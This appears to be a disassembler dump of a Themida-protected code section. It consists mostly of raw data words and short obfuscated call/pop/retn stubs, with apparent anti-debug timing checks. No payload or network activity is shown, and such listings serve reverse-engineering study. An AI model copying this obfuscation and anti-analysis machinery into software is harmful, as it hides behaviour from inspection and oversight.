0B5FF060Bh, 60B21D9h, 0FF3FDB80h, 0B241195h, 124E906h dd 8A0F0000h, 5, 3A3608BFh, 8900B037h, 0B0F918Dh, 6070E606h dd 328D8D89h, 0E461060Bh, 0C1BD8971h, 3C060B29h, 0F7830F61h dd 0BB000000h, 367D120Ch, 0FC8B60Fh, 382h, 0FAB70F00h dd 0C63BCF81h, 6BA2299h, 8B000000h, 2DBD8BD8h, 8B060B2Ah dd 0E8C1F5C1h, 719D8904h, 66060B02h, 8D01E2F7h dd 60B1691h, 880FC82Bh, 6, 681BD8Bh, 0EF81060Bh, 14A5BB47h dd 0BD8BD18Bh, 60B2B61h, 9DE9h, 0F8BF0F00h, 800Fh, 858B0000h dd 5F4C4C44h, 3A6761BFh, 7C0836Bh, 15B19589h, 0C083060Bh dd 0FAB70F00h, 830FD03Bh, 20h, 8E8h, 0A4BB9200h, 55C60194h dd 9D035349h, 60B1FC1h, 57E95F5Bh, 0BB000000h, 1B78E20h dd 0FFFF8D8Bh, 0BB66FFFFh, 0E183478Dh, 3F840F01h, 60000000h dd 9EDA8166h, 0C9B50941h, 61060B1Fh, 0FFFFA583h, 0E9FEFFFFh dd 12h, 0EBCBB5E5h, 0BDF8562h, 371CD89Fh, 0D181B70Bh, 0BB664A7Ah dd 95892054h, 5F4C4C44h, 79D066BFh, 0E97Fh, 0B58D0000h dd 60F5F5Ch, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Dh, 0CBC35141h, 8CB28925h, 2EA72CEAh, 19D8BE5h, 60060B33h dd 2E618D8Bh, 6A61060Bh, 0D4E38100h, 0FF4CC1CCh, 0B32DD95h dd 0FE8B6606h, 0FD8B9h, 13E900h, 0F13C0000h, 0C5DB623h dd 5A0DA5CDh, 87D206CAh, 44058050h, 0DAB8BF43h, 0E18324B3h dd 53006AFCh, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1504h dd 0C3534300h, 11E907EFh, 0DB000000h, 0E6A80BFAh, 0C85DDAE9h dd 0D6FE16C4h, 14CAC07Eh, 458D09FCh, 8B060B32h, 0B0E89BDh dd 0B806h, 9D890000h, 60B08D5h, 870FD22Bh, 6, 2939BD8Bh dd 0BD0B060Bh, 60B21C1h, 0D1C233ADh, 83D003E8h, 0F47504E9h dd 2A999D33h, 880D060Bh, 60000000h, 0BE81CB5h, 0FE000000h dd 1F11A9F6h, 0F18D271h, 9D89F6B4h, 60B0F09h, 958B6158h dd 60B174Dh, 4870Fh, 0BF660000h, 8D8BB585h, 60B0119h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Ah, 0A0C35040h, 62F0ABB8h dd 0BD89BA8Ch, 60B0965h, 8BC28B50h, 8BC10318h, 0D1C18B18h dd 8BC203E8h, 6A5818h, 3E850h, 58200000h, 448958C3h, 44810424h dd 160424h, 50400000h, 0E256BBC3h, 2425BD8Bh, 0FF8060Bh dd 687h, 959D0100h, 83060B12h, 0B29BDBDh, 840F0006h, 82h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 14h, 0C9C35141h dd 1AC5BD8Bh, 0B8060Bh, 6A000000h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 18042444h, 42000000h, 0D737C352h dd 0F217F3Eh, 8D8DDABFh, 60B4DD7h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 19h, 0F4C35242h, 77474EA5h, 6860FB5h dd 8B000000h, 0B26F99Dh, 80E1FF06h, 0BD832EE3h, 60B1009h dd 52840F00h, 0E8000004h, 0Fh, 25E51D28h, 982FF8A3h, 0C07830F4h dd 0FD00504h, 68Bh, 0D5958900h, 5F060B2Eh, 1009BD83h, 0F01060Bh dd 43F84h, 81858900h, 83060B0Ch, 0B1009BDh, 860F0306h dd 3F6h, 6A60F9h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 180424h, 56460000h, 93F24EC3h, 0B509C5D5h, 60B016Dh dd 29D98C66h, 0B0295BDh, 4E18006h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Dh, 0B0C35141h, 53AC1D99h, 3D6FB4F6h dd 0FC90A9Eh, 14384h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1404h, 0C3524200h, 0B70FFC53h, 7D858BD9h dd 6A060B31h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 17042444h, 42000000h, 8C57C352h, 890FB199h, 6, 0E459D8Bh dd 0BB66060Bh, 8533F09Ch, 60B06EDh, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 17h, 0DBC35343h, 90AA4C6Bh, 9050D98Bh dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 14C35343h dd 1B6608E9h, 0B70F006Ah, 0B79668F8h, 0B760C80Fh, 4816125h dd 0F4C6924h, 55006A38h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1804h, 0C3554500h, 64756FDCh, 0BF87BF47h, 9D293819h dd 60B3331h, 3D195FFh, 6A060Bh, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 160424h, 51410000h, 727EF8C3h, 858943B3h dd 60EA81Dh, 8800Fh, 8F0F0000h, 2, 2EE96160h, 6A000002h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1A042444h dd 41000000h, 0B6D9C351h, 803861FBh, 0D98B665Dh, 0A815858Bh dd 6A060Eh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h dd 53430000h, 3AD5EC3h, 1A810FC6h, 60000000h, 0DE9h, 41BCD500h dd 0E76F3EC7h, 0B8372300h, 958B3878h, 60B0841h, 0D8B70F61h dd 1800C7h, 8D890000h, 60B28EDh, 0A819B58Bh, 0E381060Eh dd 6404B2CBh, 6E1858Bh, 840F060Bh, 6, 2711BD89h, 0BF66060Bh dd 6897F3Fh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Ah, 43C35747h, 0E2EDAF7Ch, 858B5EB6h, 60B317Dh, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 0D4C35646h, 43BFE176h dd 9D2397B1h, 60B20C9h, 0E19D29h, 4689060Bh, 57006A04h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1C04h, 0C3574700h dd 0DD83733Bh, 0C43DAD88h, 96F98BF5h, 0D40983BFh, 5157507Bh dd 310F5250h, 5B5B585Ah, 0CE996h, 0E52E0000h, 17644588h dd 6B3423CFh, 0B5FF7977h, 60EA815h, 0FAE3D781h, 8B66312Bh dd 4E8F9h, 3FF0000h, 0BE8001Fh, 86000000h, 9B54FFB4h, 6621085Ah dd 66517952h, 5B5BDF8Bh, 8B94B350h, 0E8042444h, 0Dh, 0A253B878h dd 7C883645h, 22523922h, 0F98B66BFh, 89008B5Fh, 60042444h dd 6890Fh, 52500000h, 585A310Fh, 5861C68Bh, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Ch, 4FC35040h, 3D731DD6h dd 29CF1DFAh, 2E65BD89h, 0BD89060Bh, 60B2A05h, 0A81D858Dh dd 6A060Eh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h dd 56460000h, 8BD983C3h, 0B31D5BDh, 8B665006h, 240489F9h dd 0FFD98B66h, 0B03D195h, 56006A06h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1C04h, 0C3564600h, 16058BCh, 4582BF1Ah dd 6A6156h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h dd 57470000h, 0C7090BC3h, 0B100985h, 306h, 0CFC78100h dd 833E179Bh, 0EA81DBDh, 840F0006h, 0Eh, 0E9DFB70Fh, 21h dd 1045BD89h, 3050060Bh, 4400110Ch, 0E8C10111h, 11443010h dd 114C0002h, 0E9835803h, 0EBE77504h, 4305036h, 11640011h dd 10E8C101h, 2114430h, 3116400h, 4E98358h, 1BEBE775h dd 10E8C150h, 3116428h, 2114430h, 11642858h, 11043001h dd 7504E983h, 8B00EBE7h, 51006AC0h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1504h, 0C3514100h, 0E9BB9814h, 6A62590Fh dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 15042444h dd 43000000h, 7F9DC353h, 0E573BB66h, 1009BD83h, 0F03060Bh dd 44F85h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1B04h, 0C3564600h, 28048559h, 0B651AA7h, 6820F51h, 89000000h dd 0B211DBDh, 0BD835B06h, 60EA81Dh, 11840F00h, 6A000004h dd 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 19042444h, 47000000h, 0C427C357h dd 41A37C97h, 207DB589h, 0B5FF060Bh, 60EA81Dh, 1F8B70Fh dd 0B2A3195h, 3D95FF06h, 0E9060B08h, 11h, 0CD1320CBh, 5848DA32h dd 0C4D8B71Ch, 560CB026h, 11B58B3Dh, 6A060EA8h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1D042444h, 43000000h dd 0DBF3C353h, 0B00618B3h, 0D980D4ACh, 106C7h, 6A0001h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h dd 519650C3h, 34BB505Fh, 96725F86h, 0A81DB5FFh, 11E9060Eh dd 0D3000000h, 46D35D07h, 7C801190h, 8BD577Ah, 3DCE3AFAh dd 64195FFh, 6A060Bh, 3E850h, 58200000h, 448958C3h, 44810424h dd 190424h, 50400000h, 879F20C3h, 0F5A1817h, 83h, 11B58B00h dd 6A060EA8h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1B042444h, 45000000h, 273FC355h, 0EDCAABDAh, 0BD31CB4Fh dd 60B12E1h, 121D858Bh, 12E8060Bh, 2A000000h, 0D3FD29DDh dd 9EC092E6h, 9A4FB6B5h, 7B68B72Ch, 5F9BB77Dh, 0C48689h dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 170424h dd 50400000h, 0CCD363C3h, 52E7805Ch, 174D958Bh, 6A060Bh dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h dd 452F7BC3h, 237F3031h, 4C283F5h, 81DFB70Fh, 0E6A099CBh dd 20508929h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 16h, 0AEC35040h, 858D0523h, 60EBAEEh, 0B88689h, 5F520000h dd 6A006Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h dd 53430000h, 11682DC3h, 89EC5948h, 0B28C99Dh, 1DB5FF06h dd 8B060EA8h, 0B27359Dh, 1595FF06h, 6A060B0Fh, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1B042444h, 47000000h dd 0E58CC357h, 698F4CBEh, 9D8BBA17h, 60B14E5h, 14840F96h dd 0E9000000h, 0Fh, 0B4FD50DAh, 8739316Ch, 0A9290181h dd 508F9992h, 0CE9h, 9E491000h, 0A80EE55Ch, 0EFA7E3D3h dd 9D8B9687h, 60B1B79h, 0A81DB5FFh, 6A060Eh, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 1C0424h, 51410000h, 8F4481C3h dd 0C51EAE51h, 9D03306Ch, 60B0405h, 0F595FFh, 6A060Bh dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h, 51410000h dd 0BD2936C3h, 60B0F59h, 2191BD83h, 0F00060Bh, 3784h, 6E800h dd 0EF10000h, 0D37EBBFCh, 14860Fh, 0FE90000h, 50000000h dd 9BC1493Dh, 24728E31h, 2ABD19B2h, 965F324Dh, 50D88B66h dd 0BC68F2BFh, 95019612h, 60B19B9h, 0A81DB5FFh, 6A060Eh dd 3E850h, 58200000h, 448958C3h, 44810424h, 160424h, 50400000h dd 0B2B821C3h, 1521BD8Bh, 95FF060Bh, 60B1281h, 8E8h, 34F8C200h dd 99136C6Eh, 5FAFB72Eh, 0A81DB5FFh, 6A060Eh, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 160424h, 53430000h, 0EC0C26C3h dd 212DBD23h, 95FF060Bh, 60B0B8Dh, 60FA8B66h, 0BEC2B70Fh dd 1795698Ch, 0F1BD8361h, 2060B17h, 77840Fh, 6A0000h, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h dd 0E1BA11C3h, 69F9119Bh, 2EC5858Bh, 6A060Bh, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1B0424h, 57470000h, 0DF2FF5C3h dd 10595475h, 0C6DBh, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Bh, 0DEC35141h, 2C5C17EBh, 89E85691h, 0B2F5195h dd 0B985C706h, 60B06h, 0BB000000h, 2EA175C1h, 0FFF375E9h dd 53006AFFh, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1404h dd 0C3534300h, 6850F20h, 89000000h, 0B18999Dh, 6AC18B06h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 16042444h dd 45000000h, 15C7C355h, 8D8DB337h, 0B28A985h, 719D8B06h dd 50060B20h, 0EE8h, 0BFFD9D00h, 8AEC0D4Fh, 0C500B961h dd 5F26E09Eh, 6A240489h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 17042444h, 45000000h, 2949C355h, 6A07A1h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ah, 0EDC35040h dd 0C3E5CB4Fh, 6A0884h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 15h, 71C35141h, 0FFA8BFCh, 681h, 0D99D8B00h dd 8D060B2Eh, 0FF1D185h, 0EFD38006h, 905C083h, 0B022985h dd 8B669006h, 0FB8B50FAh, 53006A90h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1904h, 0C3534300h, 551BC3A2h dd 0BD8BBECCh, 60B1ECDh, 6A006Ah, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1B0424h, 52420000h, 82CE79C3h, 86DFAAFEh dd 89958903h, 6A060B12h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1B04h, 0C3524200h, 47C031F5h, 0FC93AB49h dd 13E9h, 0CDEA000h, 7D5E9104h, 0B090FF10h, 0B237CD36h dd 7A7F319Ah, 2F2195FFh, 6A060Bh, 3E850h, 58200000h, 448958C3h dd 44810424h, 1A0424h, 50400000h, 0F3BC1FC3h, 0B368BF00h dd 8D8D5B52h, 60EA7B0h, 0FFFFB70Fh, 19BF66D1h, 19BD8399h dd 1060B0Bh, 0B7850Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 170424h, 57470000h, 4C171BC3h, 0DF8B66B6h dd 18E59589h, 26A060Bh, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 1Ch, 0D0C35040h, 163F6C3Ah, 2EB997D7h, 15D99D8Bh dd 0EF81060Bh, 26A0D368h, 0C8BB6690h, 5250503Eh, 0DE8h dd 89B9C800h, 1DE0BBDEh, 62F880ADh, 61601F04h, 60310F5Fh dd 21C2D0BAh, 4B96636h, 585A6115h, 53006A90h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1B04h, 0C3534300h, 5804B534h dd 334AA798h, 0FF18D89h, 95FF060Bh, 60B0F15h, 0CB7E9FCh dd 0E80000h, 5D000000h, 0F1DBED81h, 6A060Fh, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 1C0424h, 51410000h, 0FBBF09C3h dd 5679D7F8h, 9D8B6040h, 60B23F5h, 5498BF66h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 1CC35545h, 0C19221FCh dd 56540C0Eh, 93858D35h, 6A060E92h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1D042444h, 45000000h, 0DD9BC355h dd 8C7BA9D0h, 0F82A467Dh, 0BF7FCB80h, 6519ABF1h, 50D98B90h dd 1A8B0Fh, 12E80000h, 0D9000000h, 0AF6C8A19h, 5A42239Dh dd 0C6EFC049h, 0FEAD1B3Bh, 5B6160A3h, 8E990h, 49AC0000h dd 0E2FB7992h, 0FF6460C4h, 35h, 0EEB96000h, 0F65B91Dh dd 381h, 0F78B6600h, 25896461h, 0 ; --------------------------------------------------------------------------- mov ebx, [ebp+60B1339h] inc dword ptr [ebp+60B066Dh] push 0 push eax call sub_58B373 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58B373 proc near ; CODE XREF: Themida_:0058B36Bp arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 1Ah inc eax push eax retn sub_58B373 endp ; --------------------------------------------------------------------------- mov dword ptr [ecx-6Ah], 0C85B2117h loc_58B38A: ; CODE XREF: Themida_:0058BF1Ej push 0FFFFFFFFh push dword ptr [ebp+60B1F8Dh] push 0 push esi call sub_58B39D and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58B39D proc near ; CODE XREF: Themida_:0058B395p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 14h inc esi push esi retn sub_58B39D endp ; --------------------------------------------------------------------------- pop eax mov [ebp+60B0CA1h], ecx call dword ptr [ebp+60B2411h] jmp loc_58B4DA ; --------------------------------------------------------------------------- db 8Bh dd 0E600B0FBh, 0A03EBB70h, 71E42450h, 0FE9h, 9C412300h dd 0B32535B9h, 7C74E5A2h, 7A1A3AEEh, 830F613Ch, 0F2h, 2AC9BD89h dd 0B60F060Bh, 0D78166C8h, 6BA4768h, 0E8000000h, 8, 0A0043D6Dh dd 0A571E824h, 721BF66h, 0FC18B5Bh, 380h, 0FFB70F00h, 8B04E8C1h dd 0B33819Dh, 0E2F76606h, 840Fh, 0C82B0000h, 12219D09h dd 0D18B060Bh, 0B658589h, 9BE9060Bh, 66000000h, 0D6D8F781h dd 2EC1BD8Bh, 858B060Bh, 47554C50h, 0CFDD81BFh, 7C08307h dd 0BF0F6051h, 0D8529CBh, 61060B0Ch, 0C0835Fh, 3BDE8B66h dd 16830FD0h, 0F000000h, 681h, 0BD9D8900h, 0E9060B27h dd 56h, 0D2C38166h, 0FF8D8B23h, 60FFFFFFh, 371DF3BAh, 61FB8B61h dd 0F01E183h, 3984h, 259D8B00h, 83060B2Eh, 0FFFFFFA5h dd 8B0FFEFFh, 15h, 0F870Fh, 0AE90000h, 0A7000000h, 641D2181h dd 0DFCAAD6Fh, 50958966h, 2947554Ch, 0B21BD85h, 0E906h db 2 dup(0) ; --------------------------------------------------------------------------- loc_58B4DA: ; CODE XREF: Themida_:0058B3BAj lea esi, [ebp+60F6F34h] mov edi, eax push 0 push 0 push edx call sub_58B4EF and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58B4EF proc near ; CODE XREF: Themida_:0058B4E7p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Ch inc edx push edx retn sub_58B4EF endp ; --------------------------------------------------------------------------- db 27h dd 723295A1h, 5D9082A0h, 89F48A60h, 0B06E995h, 0DE8B6106h dd 32DD95FFh, 6A060Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1A0424h, 57470000h, 781947C3h, 0BB3D3AE3h, 332D9D89h dd 0F1B9060Bh, 6A00000Eh, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 15042444h, 46000000h, 1A7BC356h, 0E918529h dd 0E183060Bh, 51006AFCh, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1604h, 0C3514100h, 290ECF4Ch, 0B2EE185h dd 9D0BFC06h, 60B103Dh, 0D22BC02Bh, 0B42006BFh, 0C233AD64h dd 0D003E8D1h, 7504E983h, 0E38166F4h, 0FA8BF8DAh, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 0E0C35343h, 78EB894Ch dd 4D4D8775h, 1A199D89h, 880D060Bh, 3000000h, 0B2E659Dh dd 4D958B06h, 6A060B17h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 18042444h, 41000000h, 3ACAC351h, 8B00BBBEh dd 0B04E99Dh, 198D8B06h, 0BB060B01h, 3F44CDE3h, 8BC28B50h dd 8BC10318h, 0D1C18B18h, 8BC203E8h, 8D895818h, 60B03F5h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 47C35545h dd 9D8BD4F1h, 60B01F1h, 29BDBD83h, 0F00060Bh, 7684h, 53006A00h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1B04h, 0C3534300h dd 18EFF2B2h, 4D765882h, 12E9h, 0C6174500h, 0D99B2993h dd 0ED8C8BBFh, 3E4A2831h, 0B82E3F74h, 0 ; --------------------------------------------------------------------------- xor edi, [ebp+60B2491h] lea ecx, [ebp+60B4DD7h] push 0 push edi call sub_58B6BF and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58B6BF proc near ; CODE XREF: Themida_:0058B6B7p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 1Ch inc edi push edi retn sub_58B6BF endp ; --------------------------------------------------------------------------- db 52h dd 632CE645h, 2CAD3158h, 8CBFE1FFh, 83605782h, 0B1009BDh dd 840F0006h, 3B1h, 0DF98D89h, 0BD83060Bh, 60B1009h, 0B9840F01h dd 6A000003h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 17042444h, 47000000h, 4A6CC357h, 0BD83584Ah, 60B1009h dd 57860F03h, 6A000003h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 16042444h, 47000000h, 9CDAC357h, 559D89E8h dd 60060B17h, 0EE06B4BFh, 0D98C6638h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Bh, 43C35646h, 0DF36B25Bh, 29064432h dd 0B04C18Dh, 4E18006h, 60CCBB66h, 0BE9h, 14B8E300h, 9DEE097Bh dd 0B6C03AECh, 840FC90Ah, 129h, 1265BD2Bh, 858B060Bh, 60B317Dh dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 45C35343h dd 8C1B2CBEh, 0B690DB81h, 853332EEh, 60B06EDh, 33C19D8Bh dd 6050060Bh, 0D38B6660h, 0C4F6BA66h, 0D38B6661h, 24048961h dd 13FD9531h, 6A060Bh, 13E8h, 0BE761B00h, 8DB4ADFh, 8909DC58h dd 0E468BA8Eh, 0BA26DEFAh, 80F38166h, 4E85B00h, 0FF000000h dd 0E9001F03h, 0Dh, 622B7811h, 9D46F645h, 0DA8FE7F4h, 60605003h dd 310F5250h, 850F585Ah, 0 dd 448B6161h, 52500424h, 0BF56310Fh, 68225513h, 8B585A5Fh dd 0C4B0BF00h, 4489528Bh, 11E80424h, 34000000h, 91E77692h dd 693A27DFh, 0DFC42FD4h, 7236EFB0h, 9E8h, 3B319E00h, 2537662Ch dd 0BB660C3Dh, 5F5BED17h, 0FFCB8058h, 3D195FFh, 0BF66060Bh dd 85899D65h, 60EA81Dh, 2BEB8166h, 185E90Fh, 6A0000h, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h dd 0D8237C3h, 4F03D01h, 15858BB5h, 66060EA8h, 0C7D88Bh dd 18h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 15h dd 53C35040h, 81BD8BA3h, 8B060B24h, 0EA819B5h, 5DBD8B06h dd 8B060B28h, 0B06E185h, 19D8B06h, 89060B22h, 51006A06h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1B04h, 0C3514100h dd 0CD99C0C3h, 42A979D0h, 0BB59D29h, 858B060Bh, 60B317Dh dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 19h, 0D4C35646h dd 0C60F3AC5h, 0FA8B66DBh, 6A044689h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 18042444h, 46000000h, 0BA34C356h dd 96E966B6h, 0CE9h, 61414E00h, 221C35C6h, 33E3FF99h, 20BF5032h dd 9662919Ch, 6880Fh, 0B5890000h, 60B021Dh, 0A815B5FFh dd 0FA8B060Eh, 0B4B268h, 0DFBB6691h, 240481E1h, 6F1E4F4Dh dd 1D858DF5h, 50060EA8h, 6A240489h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 15042444h, 40000000h, 0CFC4C350h dd 23F5BD89h, 0BF66060Bh, 95FFDAE0h, 60B03D1h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 1FC35343h, 0CE0FB28Ah dd 63F27E78h, 33259D09h, 61F5060Bh, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Dh, 0D0C35545h, 9842A979h, 5A293D1h dd 0D327BB2Eh, 85C711E7h, 60B1009h, 3, 129D9D0Bh, 0BD83060Bh dd 60EA81Dh, 0F840F00h, 66000000h, 22E9F88Bh, 0B3000000h dd 1EC4BF12h, 30506A81h, 4400110Ch, 0E8C10111h, 11443010h dd 114C0002h, 0E9835803h, 0EBE77504h, 4305036h, 11640011h dd 10E8C101h, 2114430h, 3116400h, 4E98358h, 1BEBE775h dd 10E8C150h, 3116428h, 2114430h, 11642858h, 11043001h dd 7504E983h, 8B00EBE7h, 51006AC0h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1B04h, 0C3514100h, 74B843F8h, 300698C1h dd 9DBD89F9h, 6A060B0Fh, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 19042444h, 43000000h, 0B559C353h, 0A9527617h dd 2040B6BFh, 66B2BF26h, 13E94C91h, 0E2000000h, 0EC583849h dd 3295A127h, 9082A072h, 0B1B8765Dh, 0BD83097Eh, 60B1009h dd 0CF850F03h, 6A000003h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 17042444h, 43000000h, 86CCC353h, 8E0F2B22h dd 2, 0BD83D98Ah, 60EA81Dh, 9B840F00h, 0F9000003h, 0A81DB5FFh dd 8166060Eh, 0FF324AF3h, 0B083D95h, 0B58BF806h, 60EA811h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 17h, 25C35141h dd 0C7A41743h, 1000106h, 99D8900h, 50060B0Dh, 0FCC2BF66h dd 6A243489h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1D042444h, 45000000h, 4019C355h, 0B06591CDh, 0C02E28B5h dd 3D4FF381h, 0B5FF2893h, 60EA81Dh, 68B0F52h, 8B000000h dd 0B18FDBDh, 95FF5B06h, 60B0641h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 19h, 8CC35242h, 0A4CA7045h, 0C18589C5h dd 8B060B2Eh, 0EA811B5h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1604h, 0C3554500h, 507EE667h, 16899D8Bh dd 665F060Bh, 0DA6CE381h, 121D858Bh, 6A060Bh, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 140424h, 55450000h, 0E7813AC3h dd 853F76Ah, 0C48689h, 0B70F0000h, 4D958BD9h, 66060B17h dd 7F2DEB81h, 0E804C283h, 13h, 0F00750E4h, 750E44Eh, 50E44EF0h dd 0E44EF007h, 0BFF00750h, 0CBA6F13h, 2050895Fh, 0EE9h dd 0B9F83D00h, 2D838359h, 5A0556A4h, 8161B3D2h, 0FEC79CF3h dd 0EE858D33h, 6A060EBAh, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 14042444h, 46000000h, 8BD1C356h, 0B2A3DBDh dd 0B8868906h, 0F9000000h, 8166006Ah, 0FF0B28E7h, 0EA81DB5h dd 79BD8B06h, 0E9060B06h, 0Fh, 3D509AABh, 319BC149h, 0B224728Eh dd 0FF2ABD19h, 0B0F1595h, 50DF8B06h, 810F5250h, 2, 310F0BB7h dd 38AD19BFh, 89585A06h, 8B602434h, 68E0FDAh, 89000000h dd 0B23F5BDh, 0B5FF6106h, 60EA81Dh, 33C1BD29h, 8A0F060Bh dd 6, 2F498589h, 95FF060Bh, 60B00F5h, 4458EB81h, 0CE97595h dd 43000000h, 0DDF04C19h, 60D167h, 83FA64A2h, 0B2191BDh dd 840F0006h, 6Bh, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 16h, 22C35242h, 9E9EC69h, 0CB000000h, 0D78B2808h dd 0CC8DCC32h, 50DE8B96h, 10870Fh, 0BE90000h, 0E7000000h dd 7BD3E0D1h, 406561FEh, 6A969319h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 16042444h, 43000000h, 0FB22C353h dd 9BD8B3Dh, 0FF060B23h, 0EA81DB5h, 0DA8B6606h, 128195FFh dd 6A060Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h dd 51410000h, 0CCD5E8C3h, 0B93C863Eh, 8C0F2915h, 6, 661BD23h dd 0B5FF060Bh, 60EA81Dh, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 14h, 21C35242h, 85953152h, 5B060B22h, 0B8D95FFh dd 6A060Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h dd 57470000h, 0DCAE7FC3h, 0E6541C07h, 29E1549Dh, 0B2D9195h dd 0F1BD8306h, 2060B17h, 28840Fh, 9D8B0000h, 60B0DDDh dd 8BF88B66h, 0B2EC585h, 0BE906h, 0FA300000h, 38CA8C92h dd 0B0E8DDA3h, 0C67Eh, 3899589h, 85C7060Bh, 60B06B9h, 0 ; --------------------------------------------------------------------------- push 0 push ebp call sub_58BEFB loc_58BEF8: ; CODE XREF: Themida_:0058BF0Cj and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58BEFB proc near ; CODE XREF: Themida_:0058BEF3p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 1Ah inc ebp push ebp retn sub_58BEFB endp ; --------------------------------------------------------------------------- retn ; 